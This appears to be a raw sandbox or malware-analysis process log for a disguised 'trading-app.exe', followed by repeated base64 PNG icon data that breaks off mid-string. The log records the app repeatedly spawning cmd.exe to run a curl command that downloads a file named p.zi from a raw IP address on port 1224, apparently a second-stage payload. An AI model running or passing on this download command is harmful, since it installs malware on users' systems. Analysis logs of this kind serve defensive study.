commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00004580) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00001632) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00004516) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=2324 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2" (UID: 00000000-00005732) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00007040) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00001928) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=3036 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2" (UID: 00000000-00004332) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00007932) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=2364 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2" (UID: 00000000-00003456) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00004292) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00008132) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --mojo-platform-channel-handle=3260 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2" (UID: 00000000-00007720) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00001468) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --mojo-platform-channel-handle=3044 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2" (UID: 00000000-00001392) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00004784) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00004300) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00006880) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --mojo-platform-channel-handle=2396 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2" (UID: 00000000-00002752)66:T924,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67:T924,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68:T924,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69:T924,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6a:T924,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAGoElEQVR4Xq1XiW8UZRTvfyXhaLd7H7PbPUoLbaEBIhKQK1GMURMwMRKjiQmnNgSDiCTEpJxe8QwxGCRBbQFBObql2z1nd2d2556f7/tmd9vdFi2UL32dduab937fO37vTVfX/yzbBvgVgFbVkZNU5AtVKEUZ9kyOiyqKKJXq/BmgwzItaLbF31vWYsZNUlaoVGA8msbUwCj0QAxw9wGe2Jy441wUbxK/b34ZSjaHcrkKwoDmAZ5qkVl62YasqzBu3oDu6wd8ZNQtkDCjHQD4/1GgJ+aIKwIpGIc9PYOaqsAkFIRl6WBsw0C9UkNe2AA70AfbG+0wuDSxvX0oDL8EiQ5ikfUlAWDxs9UqP63NXO1OkTwbALgSUFZGoLgjkJU692qnvdYCobN1C9VCAUowtVDZcoRyoxKKIVelvDAoGM5POxjLMqFIdaB3EQXLFfKm7k1B704hW6ssDAW7UVNUTAXo5N7OBHsewnQKUF0BTOx8lZdpCwT7g8VGv/Er7DCLd3wRBc9PtO4gqK5hWg2esFi5KQq5KO5k+7Mm3FNILrwOlWLJAWAYJsxHj2G31XY7CNvT7hXLk+S1bnv7oYZorzcC00fPepcQPvKw7g2iLklgh++SKxoeEsPBFZ4z6GIGBFhuuhcmEuqla2+0JbYnjOK+/fjn4AfQ3zsO88MTKG/dh8retxYa7BQCYLmDyBwfI5Y10VWoKzCCrN7nbaL6vfvaAeDCZUAYgEGnU33xloAUiL9cQ/HQMVhjZzE5sBGz0WHIr7+90GCnEAB2wCKxq1ouo0tX9Aa3z7nPuHcbarYAKZOFTKWpjJ1GWa4iL5WBTAaWizzRHYa62gd7VQjWqiC0UJJOxsBFnVxi3moYhDvpnNzb8HJjjylp6GJdrROl5SKUPQIqYydhlmtQrnyJYv8IDJ6kBNDfB/3wxzDd61E7ew5ifDOMyQnUIiPQPINQvv8Z0jffoe5ZC/vadTzetBPG9UmUPj/bZqdckdGFmapzgyHmKOm6RoD0xTiyxSKq7nXkBQl5VYOefgA7mKAQxWGkM8j1pVD2DUA7dwElIYrim+8AORn6mj7IP12FcvQUNbI+KBs3o8Iamr+dYZWKNB9AIz49SRj5GWizGdjdXugharPBELA6CVGsQ+0VHADUclGQoIXDmE5sgezzUzgiSMeGUYgOoUilVstn+V7LFcS91CjurB9tB1AmABVKBH5yKjVWbvZv12EU8tDFHMypItQfryJNVVI4fQZiSaTYE5F4Q8iev4JyiNjN7QcmJ2FN3IJN/2PiL4jnLkEW1kO7eBkWecC4cwu4fR9mYG0bALlYoRzQzEaixDjazPZXMLNtL2a270F6x26oP1yFXS3Cmr6PXHSE4k5gH2SQ37qjpcjmHiQdLDlJh+l1eINVD3/GkryXHXDOuM4qq2I4ZaixDWyQoAcT60ZpIxHLSsrY0CDqrC0TwZgUe9uTgr0yADPWT2RCtEr8rgjDqK0Jouph/CAgF2A5ksDN/g2UC5Tp1FnF1BBVSIRIq98JM1VByR8nMqqBz3oTL+6iGBPxEIC/DxzAvS27MfnJKWT3v8tPZJ8fR52STTr5Gcw/bkC59BUKh45CHb+I7PuHYNHeB4ePIJ0cgv3t16gJCdTeOEgccQZ3fUk83LYH1dVRGMc+dTy2QkBp/Dw1JGJC1pmsXJ4eRDgAeAWYfuYyeoH1hTVsIqL7dI9TcncU+gofeS0Gk+jYoAQDJabFuih1O9Ufgkb3rZ4ItJ4gLH+YPMXCEOYe5CHwk+dKjbas0GiQF8uoBpOOgWY3bAyaLDmduDG2dO6xGPNybZJOaz8joIYOFnO6Gj72fO5dtn9qaCt0RZvXktl4kk47REPxm5+pz0tY0jHj9gt+aIUizQDm3FDCBxKaXtkAyWfARRQsTxwP1ClRCx+doE+HeQNJCwQ5oUgzm0F1bnnIC2wEXzB+P4s4Okx3AqIwghKrOiwynDYno9l8HiI1DTbDsTFqocKlC3O7Q+8pzIQTkObHvXNxAA0QZdqoUfZb3uUBsFmyhtYiGxxEVaau+yTjnYuNzmx6/XPXPpi9QUdhI4tbVfIkaWU7+4pK8pgXJWVphpur6Q3+kVko0RfSMFRvAEYPY7tBp9w6DbMTu1KcNwxPEI8GNsFivYMSbtGY/9dqxolddfoll8qoV+uYPXIMktC/6Kcai7foTyBz+QoUuQSNx1t9csyfZnFv0ClMzaAOVqBRSkeJ3Fqnfs5EE2XeWGS5zum16cFOPYutfwGZS+pVBBSyFQAAAABJRU5ErkJggg==6b:T924,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAGoElEQVR4Xq1XiW8UZRTvfyXhaLd7H7PbPUoLbaEBIhKQK1GMURMwMRKjiQmnNgSDiCTEpJxe8QwxGCRBbQFBObql2z1nd2d2556f7/tmd9vdFi2UL32dduab937fO37vTVfX/yzbBvgVgFbVkZNU5AtVKEUZ9kyOiyqKKJXq/BmgwzItaLbF31vWYsZNUlaoVGA8msbUwCj0QAxw9wGe2Jy441wUbxK/b34ZSjaHcrkKwoDmAZ5qkVl62YasqzBu3oDu6wd8ZNQtkDCjHQD4/1GgJ+aIKwIpGIc9PYOaqsAkFIRl6WBsw0C9UkNe2AA70AfbG+0wuDSxvX0oDL8EiQ5ikfUlAWDxs9UqP63NXO1OkTwbALgSUFZGoLgjkJU692qnvdYCobN1C9VCAUowtVDZcoRyoxKKIVelvDAoGM5POxjLMqFIdaB3EQXLFfKm7k1B704hW6ssDAW7UVNUTAXo5N7OBHsewnQKUF0BTOx8lZdpCwT7g8VGv/Er7DCLd3wRBc9PtO4gqK5hWg2esFi5KQq5KO5k+7Mm3FNILrwOlWLJAWAYJsxHj2G31XY7CNvT7hXLk+S1bnv7oYZorzcC00fPepcQPvKw7g2iLklgh++SKxoeEsPBFZ4z6GIGBFhuuhcmEuqla2+0JbYnjOK+/fjn4AfQ3zsO88MTKG/dh8retxYa7BQCYLmDyBwfI5Y